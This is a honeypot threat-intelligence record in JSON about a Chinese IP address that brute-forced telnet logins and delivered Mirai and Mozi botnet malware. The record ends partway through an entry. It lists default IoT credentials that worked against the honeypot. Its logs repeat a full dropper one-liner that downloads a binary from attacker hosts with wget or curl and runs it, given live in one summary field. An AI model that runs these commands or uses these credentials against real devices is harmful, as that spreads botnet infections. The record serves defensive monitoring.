{"ip":"42.54.23.35","data_as_of":"2026-10-26T21:51:11+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"12,889 interactive session(s) ran commands after logging in","confidence":"high","network_type":"network service provider","why":["12,889 interactive session(s) logged in and ran commands.","12,910 interactive session(s) logged in successfully.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range.","Sent 9,498,950 bytes, which is sustained payload delivery.","Held a session open for 108s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"9,498,950 bytes sent, longest session 108s","bytes_sent":9498950,"session_seconds":108,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-19T12:51:31","last_seen":"2026-10-20T15:21:17","events_24h":0,"events_7d":0,"interactive_sessions":27493,"interactive_sessions_24h":0,"interactive_sessions_7d":10200,"interactive_protocols":[{"protocol":"telnet","sessions":27493}],"geo":{"country_code":"CN","country_name":"China","region":"","city":"","lat":null,"lon":null,"asn":4837,"org":"CHINA UNICOM China169 Backbone"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as4837","label":"China Unicom","category":"isp","url":"https://www.peeringdb.com/asn/4837"},"cve_matches":[],"malware":[{"sha256":"12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef","family":"mirai","vt_name":"bin.sh","malicious":51,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":20,"last_seen":"2026-10-20 06:43:38"},{"sha256":"4293c1d8574dc87c58360d6bac3daa182f64f7785c9d41da5e0741d2b1817fc7","family":"mirai","vt_name":"bin.sh","malicious":47,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":5,"last_seen":"2026-10-19 12:51:31"},{"sha256":"f6c97b1e2ed02578ca1066c8235ba4f991e645f89012406c639dbccc6582eec8","family":"mirai","vt_name":"bin.sh","malicious":48,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":5,"last_seen":"2026-10-19 20:46:41"},{"sha256":"7c5bc9d39cf1d584261ddd705ea592efcef7809fdb5cb52d20274347641809c3","family":"mozi","vt_name":"bin.sh","malicious":42,"total":74,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":5,"last_seen":"2026-10-19 20:46:30"}],"udp":null,"interaction":{"window_days":90,"sessions":27493,"first_seen":"2026-10-19T12:51:31","last_seen":"2026-10-20T15:21:17","verdicts":[{"verdict":"credential","sessions":14435},{"verdict":"post-exploitation","sessions":12889},{"verdict":"scan","sessions":112},{"verdict":"unknown","sessions":57}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":27493}],"services":[{"protocol":"telnet","port":23,"sessions":27493}],"logins":[{"username":"root","password":"Pon521","password_sent":true,"service":"telnet","outcome":"success","tries":2958,"last_seen":"2026-10-20T15:19:40"},{"username":"root","password":"svgodie","password_sent":true,"service":"telnet","outcome":"failure","tries":2471,"last_seen":"2026-10-20T15:03:57"},{"username":"root","password":"svgodie","password_sent":true,"service":"telnet","outcome":"success","tries":2140,"last_seen":"2026-10-20T15:12:55"},{"username":"root","password":"Pon521","password_sent":true,"service":"telnet","outcome":"failure","tries":1794,"last_seen":"2026-10-20T15:10:19"},{"username":"root","password":"","password_sent":true,"service":"telnet","outcome":"failure","tries":349,"last_seen":"2026-10-20T15:09:21"},{"username":"CUAdmin","password":"CUAdmin","password_sent":true,"service":"telnet","outcome":"failure","tries":218,"last_seen":"2026-10-20T14:12:30"},{"username":"root","password":"hi3518","password_sent":true,"service":"telnet","outcome":"failure","tries":171,"last_seen":"2026-10-20T10:40:39"},{"username":"root","password":"root","password_sent":true,"service":"telnet","outcome":"failure","tries":170,"last_seen":"2026-10-20T14:38:43"},{"username":"tech","password":"tech","password_sent":true,"service":"telnet","outcome":"success","tries":146,"last_seen":"2026-10-20T14:59:03"},{"username":"TMAR#DLKT20060205","password":"DLKT20060205","password_sent":true,"service":"telnet","outcome":"failure","tries":135,"last_seen":"2026-10-20T13:36:42"},{"username":"Admin","password":"","password_sent":true,"service":"telnet","outcome":"failure","tries":133,"last_seen":"2026-10-20T10:55:59"},{"username":"test1","password":"test1","password_sent":true,"service":"telnet","outcome":"success","tries":132,"last_seen":"2026-10-20T14:11:36"},{"username":"telnetadmin","password":"telnetadmin","password_sent":true,"service":"telnet","outcome":"success","tries":131,"last_seen":"2026-10-20T14:12:34"},{"username":"yhtcAdmin","password":"Cuc@YHfw","password_sent":true,"service":"telnet","outcome":"failure","tries":131,"last_seen":"2026-10-20T13:38:03"},{"username":"cht","password":"chtsgpon","password_sent":true,"service":"telnet","outcome":"success","tries":130,"last_seen":"2026-10-20T14:57:06"},{"username":"e8ehome","password":"e8ehome","password_sent":true,"service":"telnet","outcome":"success","tries":130,"last_seen":"2026-10-20T12:29:58"},{"username":"service","password":"service","password_sent":true,"service":"telnet","outcome":"success","tries":130,"last_seen":"2026-10-20T10:30:31"},{"username":"netscreen","password":"netscreen","password_sent":true,"service":"telnet","outcome":"success","tries":126,"last_seen":"2026-10-20T14:56:36"},{"username":"ftp","password":"ftp","password_sent":true,"service":"telnet","outcome":"success","tries":126,"last_seen":"2026-10-20T14:38:38"},{"username":"draytek","password":"1234","password_sent":true,"service":"telnet","outcome":"success","tries":126,"last_seen":"2026-10-20T14:11:09"},{"username":"ruijie","password":"ruijie","password_sent":true,"service":"telnet","outcome":"success","tries":125,"last_seen":"2026-10-20T14:53:21"},{"username":"rapport","password":"r@p8p0r+","password_sent":true,"service":"telnet","outcome":"success","tries":125,"last_seen":"2026-10-20T14:34:18"},{"username":"guest","password":"guest","password_sent":true,"service":"telnet","outcome":"success","tries":125,"last_seen":"2026-10-20T14:30:30"},{"username":"e8ehome1","password":"e8ehome1","password_sent":true,"service":"telnet","outcome":"success","tries":125,"last_seen":"2026-10-20T13:30:11"},{"username":"support","password":"support123","password_sent":true,"service":"telnet","outcome":"success","tries":124,"last_seen":"2026-10-20T14:50:10"}],"commands":[{"ts":"2026-10-20T15:19:45","session_id":"b73a1899-0f63-40da-b39a-973315fde55b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget [http]://42[.]54[.]23[.]35:50279/i ||curl -O [http]://42[.]54[.]23[.]35:50279/i ||/bin/busybox wget [http]://42[.]54[.]23[.]35:50279/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x56\\x42\\x4f\\x4f\\x55\\x5a\\x42\\x48'","exit_code":0},{"ts":"2026-10-20T15:19:44","session_id":"b73a1899-0f63-40da-b39a-973315fde55b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget;/bin/busybox echo -ne '\\x43\\x45\\x50\\x45\\x4e\\x52'","exit_code":0},{"ts":"2026-10-20T15:19:41","session_id":"b73a1899-0f63-40da-b39a-973315fde55b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x43\\x45\\x50\\x45\\x4e\\x52'","exit_code":0},{"ts":"2026-10-20T15:19:41","session_id":"b73a1899-0f63-40da-b39a-973315fde55b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-20T15:19:41","session_id":"b73a1899-0f63-40da-b39a-973315fde55b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127},{"ts":"2026-10-20T15:19:41","session_id":"b73a1899-0f63-40da-b39a-973315fde55b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"su","exit_code":0},{"ts":"2026-10-20T15:19:41","session_id":"b73a1899-0f63-40da-b39a-973315fde55b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"linuxshell","exit_code":127},{"ts":"2026-10-20T15:19:41","session_id":"b73a1899-0f63-40da-b39a-973315fde55b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-20T15:19:41","session_id":"b73a1899-0f63-40da-b39a-973315fde55b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"config terminal","exit_code":127},{"ts":"2026-10-20T15:19:41","session_id":"b73a1899-0f63-40da-b39a-973315fde55b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"enable","exit_code":0},{"ts":"2026-10-20T15:19:41","session_id":"b73a1899-0f63-40da-b39a-973315fde55b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"start","exit_code":127},{"ts":"2026-10-20T15:19:31","session_id":"c5fd2855-3886-42ed-b242-a50e7398d3d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget [http]://42[.]54[.]23[.]35:50279/i ||curl -O [http]://42[.]54[.]23[.]35:50279/i ||/bin/busybox wget [http]://42[.]54[.]23[.]35:50279/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x56\\x42\\x4f\\x4f\\x55\\x5a\\x42\\x48'","exit_code":0},{"ts":"2026-10-20T15:19:31","session_id":"c5fd2855-3886-42ed-b242-a50e7398d3d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget;/bin/busybox echo -ne '\\x43\\x45\\x50\\x45\\x4e\\x52'","exit_code":0},{"ts":"2026-10-20T15:19:28","session_id":"c5fd2855-3886-42ed-b242-a50e7398d3d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x43\\x45\\x50\\x45\\x4e\\x52'","exit_code":0},{"ts":"2026-10-20T15:19:28","session_id":"c5fd2855-3886-42ed-b242-a50e7398d3d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-20T15:19:28","session_id":"c5fd2855-3886-42ed-b242-a50e7398d3d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127},{"ts":"2026-10-20T15:19:28","session_id":"c5fd2855-3886-42ed-b242-a50e7398d3d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"su","exit_code":0},{"ts":"2026-10-20T15:19:28","session_id":"c5fd2855-3886-42ed-b242-a50e7398d3d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"linuxshell","exit_code":127},{"ts":"2026-10-20T15:19:28","session_id":"c5fd2855-3886-42ed-b242-a50e7398d3d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-20T15:19:28","session_id":"c5fd2855-3886-42ed-b242-a50e7398d3d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"config terminal","exit_code":127},{"ts":"2026-10-20T15:19:28","session_id":"c5fd2855-3886-42ed-b242-a50e7398d3d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"enable","exit_code":0},{"ts":"2026-10-20T15:19:28","session_id":"c5fd2855-3886-42ed-b242-a50e7398d3d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"start","exit_code":127},{"ts":"2026-10-20T15:19:23","session_id":"4c7bc779-dd73-4031-b03b-a6e79a5b80b4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget [http]://116[.]10[.]132[.]177:48435/i ||curl -O [http]://116[.]10[.]132[.]177:48435/i ||/bin/busybox wget [http]://116[.]10[.]132[.]177:48435/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x56\\x42\\x4f\\x4f\\x55\\x5a\\x42\\x48'","exit_code":0},{"ts":"2026-10-20T15:19:22","session_id":"4c7bc779-dd73-4031-b03b-a6e79a5b80b4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget;/bin/busybox echo -ne '\\x43\\x45\\x50\\x45\\x4e\\x52'","exit_code":0},{"ts":"2026-10-20T15:19:19","session_id":"4c7bc779-dd73-4031-b03b-a6e79a5b80b4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-20T15:19:19","session_id":"4c7bc779-dd73-4031-b03b-a6e79a5b80b4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x43\\x45\\x50\\x45\\x4e\\x52'","exit_code":0},{"ts":"2026-10-20T15:19:19","session_id":"4c7bc779-dd73-4031-b03b-a6e79a5b80b4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127},{"ts":"2026-10-20T15:19:19","session_id":"4c7bc779-dd73-4031-b03b-a6e79a5b80b4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"su","exit_code":1},{"ts":"2026-10-20T15:19:19","session_id":"4c7bc779-dd73-4031-b03b-a6e79a5b80b4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"linuxshell","exit_code":127},{"ts":"2026-10-20T15:19:19","session_id":"4c7bc779-dd73-4031-b03b-a6e79a5b80b4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-20T15:19:19","session_id":"4c7bc779-dd73-4031-b03b-a6e79a5b80b4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"config terminal","exit_code":127},{"ts":"2026-10-20T15:19:19","session_id":"4c7bc779-dd73-4031-b03b-a6e79a5b80b4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"enable","exit_code":0},{"ts":"2026-10-20T15:19:19","session_id":"4c7bc779-dd73-4031-b03b-a6e79a5b80b4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"start","exit_code":127},{"ts":"2026-10-20T15:19:19","session_id":"d54e50c0-c564-4359-9cf5-634cf2fa3cf4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget [http]://116[.]10[.]132[.]177:48435/i ||curl -O [http]://116[.]10[.]132[.]177:48435/i ||/bin/busybox wget [http]://116[.]10[.]132[.]177:48435/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x56\\x42\\x4f\\x4f\\x55\\x5a\\x42\\x48'","exit_code":0},{"ts":"2026-10-20T15:19:18","session_id":"d54e50c0-c564-4359-9cf5-634cf2fa3cf4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget;/bin/busybox echo -ne '\\x43\\x45\\x50\\x45\\x4e\\x52'","exit_code":0},{"ts":"2026-10-20T15:19:15","session_id":"d54e50c0-c564-4359-9cf5-634cf2fa3cf4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x43\\x45\\x50\\x45\\x4e\\x52'","exit_code":0},{"ts":"2026-10-20T15:19:15","session_id":"d54e50c0-c564-4359-9cf5-634cf2fa3cf4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-20T15:19:15","session_id":"d54e50c0-c564-4359-9cf5-634cf2fa3cf4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127},{"ts":"2026-10-20T15:19:15","session_id":"d54e50c0-c564-4359-9cf5-634cf2fa3cf4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"linuxshell","exit_code":127},{"ts":"2026-10-20T15:19:15","session_id":"d54e50c0-c564-4359-9cf5-634cf2fa3cf4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"su","exit_code":1},{"ts":"2026-10-20T15:19:15","session_id":"d54e50c0-c564-4359-9cf5-634cf2fa3cf4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"config terminal","exit_code":127},{"ts":"2026-10-20T15:19:15","session_id":"d54e50c0-c564-4359-9cf5-634cf2fa3cf4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-20T15:19:15","session_id":"d54e50c0-c564-4359-9cf5-634cf2fa3cf4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"enable","exit_code":0},{"ts":"2026-10-20T15:19:15","session_id":"d54e50c0-c564-4359-9cf5-634cf2fa3cf4","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"start","exit_code":127},{"ts":"2026-10-20T15:12:15","session_id":"fe4d7e2c-466e-4d0e-bf72-52f1b59a4c7c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget [http]://42[.]54[.]23[.]35:50279/i ||curl -O [http]://42[.]54[.]23[.]35:50279/i ||/bin/busybox wget [http]://42[.]54[.]23[.]35:50279/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x56\\x42\\x4f\\x4f\\x55\\x5a\\x42\\x48'","exit_code":0},{"ts":"2026-10-20T15:12:14","session_id":"fe4d7e2c-466e-4d0e-bf72-52f1b59a4c7c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget;/bin/busybox echo -ne '\\x43\\x45\\x50\\x45\\x4e\\x52'","exit_code":0},{"ts":"2026-10-20T15:12:13","session_id":"fe4d7e2c-466e-4d0e-bf72-52f1b59a4c7c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-20T15:12:13","session_id":"fe4d7e2c-466e-4d0e-bf72-52f1b59a4c7c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x43\\x45\\x50\\x45\\x4e\\x52'","exit_code":0},{"ts":"2026-10-20T15:12:13","session_id":"fe4d7e2c-466e-4d0e-bf72-52f1b59a4c7c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"su","exit_code":0},{"ts":"2026-10-20T15:12:13","session_id":"fe4d7e2c-466e-4d0e-bf72-52f1b59a4c7c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127}],"downloads":[{"url":"[http]://123[.]14[.]238[.]189:52224/i","host":"123[.]14[.]238[.]189","sessions":6226,"first_seen":"2026-10-19T12:51:31","last_seen":"2026-10-19T20:43:34","virustotal":null},{"url":"[http]://59[.]96[.]138[.]199:47242/i","host":"59[.]96[.]138[.]199","sessions":3258,"first_seen":"2026-10-19T20:46:30","last_seen":"2026-10-20T04:13:23","virustotal":{"sha256":"7c5bc9d39cf1d584261ddd705ea592efcef7809fdb5cb52d20274347641809c3","status":"known","malicious":42,"total":74,"name":"bin.sh"}},{"url":"[http]://116[.]10[.]132[.]177:48435/i","host":"116[.]10[.]132[.]177","sessions":1966,"first_seen":"2026-10-20T06:43:38","last_seen":"2026-10-20T15:19:36","virustotal":null},{"url":"[http]://42[.]54[.]23[.]35:50279/i","host":"42[.]54[.]23[.]35","sessions":410,"first_seen":"2026-10-19T20:46:41","last_seen":"2026-10-20T15:19:46","virustotal":null},{"url":"[http]://27[.]36[.]198[.]19:35831/i","host":"27[.]36[.]198[.]19","sessions":361,"first_seen":"2026-10-20T05:13:48","last_seen":"2026-10-20T06:13:19","virustotal":null},{"url":"[http]://116[.]10[.]132[.]177:48435/bin.sh","host":"116[.]10[.]132[.]177","sessions":318,"first_seen":"2026-10-20T06:14:33","last_seen":"2026-10-20T08:43:31","virustotal":null},{"url":"[http]://27[.]36[.]198[.]19:35831/bin.sh","host":"27[.]36[.]198[.]19","sessions":299,"first_seen":"2026-10-20T04:18:01","last_seen":"2026-10-20T05:13:33","virustotal":null}],"files":[{"sha256":"ae22b997679b8f5808c987c987094ab17d77d6dc19fab6eb5922644a5ea32b5e","name":"i","size":29,"mime_type":"text/plain","kind":"downloaded","times":6226,"first_seen":"2026-10-19T12:51:30","last_seen":"2026-10-19T20:43:27","virustotal":null},{"sha256":"dfa7c0e8e59e827423651a9d24d2ddf59c993d0fc1503e858a3a86e7ecc66291","name":"i","size":23474,"mime_type":"application/x-executable","kind":"sample","times":6226,"first_seen":"2026-10-19T12:51:30","last_seen":"2026-10-19T20:43:27","virustotal":null},{"sha256":"b1e45bc107438b4594a0fb3fa881f09ce7229eedcf3939897e0a8aa1eb544aa6","name":"i","size":28,"mime_type":"text/plain","kind":"downloaded","times":3258,"first_seen":"2026-10-19T20:46:29","last_seen":"2026-10-20T04:13:22","virustotal":null},{"sha256":"03257541f83e55bfd63d94aca7fa9805d4c305e02123e1972dfd22e5c3a391c8","name":"i","size":38018,"mime_type":"application/x-executable","kind":"sample","times":3258,"first_seen":"2026-10-19T20:46:29","last_seen":"2026-10-20T04:13:22","virustotal":null},{"sha256":"47223b876aae63f6e54bd5708a7eff216fbb663bc6e6de61aa898742997eeae7","name":"i","size":14985,"mime_type":"application/x-executable","kind":"sample","times":1966,"first_seen":"2026-10-20T06:43:37","last_seen":"2026-10-20T15:19:26","virustotal":null},{"sha256":"bd2681c935f12ff569e773193ddb488ef746bd3478c3efa9ec12a5c6fc067d80","name":"i","size":29,"mime_type":"text/plain","kind":"downloaded","times":1966,"first_seen":"2026-10-20T06:43:37","last_seen":"2026-10-20T15:19:26","virustotal":null},{"sha256":"33f1ae15992ceec6ac39696e9ef37f7bc68c5bcf55a3f7fa19d09f7df4f8687b","name":"i","size":6234,"mime_type":"application/x-executable","kind":"sample","times":410,"first_seen":"2026-10-19T20:46:40","last_seen":"2026-10-20T15:19:45","virustotal":null},{"sha256":"620382db9023408daea534a72ee0c9ca8954baafcdbe7e0532f9da96cb94050f","name":"i","size":26,"mime_type":"text/plain","kind":"downloaded","times":410,"first_seen":"2026-10-19T20:46:40","last_seen":"2026-10-20T15:19:45","virustotal":null},{"sha256":"d255d6ab75d9602d0f701046a86256fc5f894474ab5e7c9f6e4acd820aba94a5","name":"i","size":14219,"mime_type":"application/x-executable","kind":"sample","times":361,"first_seen":"2026-10-20T05:13:46","last_seen":"2026-10-20T06:13:18","virustotal":null},{"sha256":"2fb39809e90e51d5bf1cac4d91d69ea31fcbdd96faea7f127f3542c79d64e042","name":"i","size":27,"mime_type":"text/plain","kind":"downloaded","times":361,"first_seen":"2026-10-20T05:13:46","last_seen":"2026-10-20T06:13:18","virustotal":null},{"sha256":"5fc90034ff5d903e4287f520bc72982eb75956d765865351fd09f07da12f0f4d","name":"bin.sh","size":294,"mime_type":"text/x-shellscript","kind":"executed","times":318,"first_seen":"2026-10-20T06:14:31","last_seen":"2026-10-20T08:43:22","virustotal":null},{"sha256":"fd745ff6239f5962214b79891e7a8bc2e672697c600443d803a56000d9dea5dd","name":"bin.sh","size":34,"mime_type":"text/plain","kind":"downloaded","times":318,"first_seen":"2026-10-20T06:14:31","last_seen":"2026-10-20T08:43:22","virustotal":null},{"sha256":"ac244b194ff89aff65e8ca9d1ddfd9f9ec93c6233360bad5d2e16985acf4bdce","name":"bin.sh","size":32,"mime_type":"text/plain","kind":"downloaded","times":299,"first_seen":"2026-10-20T04:17:58","last_seen":"2026-10-20T05:13:31","virustotal":null},{"sha256":"31032eebc092bfa4e241ff3809f368b129b9226971310d4917a66d14e79c4520","name":"bin.sh","size":294,"mime_type":"text/x-shellscript","kind":"executed","times":299,"first_seen":"2026-10-20T04:17:58","last_seen":"2026-10-20T05:13:31","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":112},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":12910},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":12889},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":27324},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":12838}]},"top_ports":[{"port":23,"proto":"tcp","label":"Telnet","count":0,"sessions":27493}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-19","count":0,"sessions":19804},{"date":"2026-10-20","count":0,"sessions":7689}],"recent_events":[{"timestamp":"2026-10-20T15:19:45","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://42.54.23.35:50279/i ||curl -O http://42.54.23.35:50279/i ||/bin/busybox wget http://42.54.23.35:50279/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x56\\x42\\x4f\\x4f\\x55\\x5a\\x42\\x48'","payload_hex":"3e2f7661722f72756e2f2e7826266364202f7661722f72756e3b3e2f6d6e742f2e7826266364202f6d6e743b3e2f7573722f2e7826266364202f7573723b3e2f6465762f2e7826266364202f6465763b3e2f6465762f73686d2f2e7826266364202f6465762f73686d3b3e2f746d702f2e7826266364202f746d703b3e2f7661722f2e7826266364202f7661723b726d202d726620693b7767657420687474703a2f2f34322e35342e32332e33353a35303237392f69207c7c6375726c202d4f20687474703a2f2f34322e35342e32332e33353a35303237392f69207c7c2f62696e2f62757379626f78207767657420687474703a2f2f34322e35342e32332e33353a35303237392f693b63686d6f64203737372069207c7c286370202f62696e2f6c732069693b63617420693e6969202626726d20693b637020696920693b726d206969293b2e2f693b2f62696e2f62757379626f78206563686f202d6520275c7835365c7834325c7834665c7834665c7835355c7835615c7834325c78343827","method":"","user_agent":"","ja3":"","session":"b73a1899-0f63-40da-b39a-973315fde55b-24","seq":24,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"6241de15d7bc4f50","strings":[">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;…"],"iocs":{"paths":["/var/run/.x","/var/run","/mnt/.x","/usr/.x","/dev/.x"]}},"interactive":true},{"timestamp":"2026-10-20T15:19:44","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox wget;/bin/busybox echo -ne '\\x43\\x45\\x50\\x45\\x4e\\x52'","payload_hex":"2f62696e2f62757379626f7820776765743b2f62696e2f62757379626f78206563686f202d6e6520275c7834335c7834355c7835305c7834355c7834655c78353227","method":"","user_agent":"","ja3":"","session":"b73a1899-0f63-40da-b39a-973315fde55b-22","seq":22,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"0f13aa8423f05f64","strings":["/bin/busybox wget;/bin/busybox echo -ne '\\x43\\x45\\x50\\x45\\x4e\\x52'"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-20T15:19:41","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"sh","payload_hex":"7368","method":"","user_agent":"","ja3":"","session":"b73a1899-0f63-40da-b39a-973315fde55b-18","seq":18,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-20T15:19:41","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":">/var/run/.x&&cd 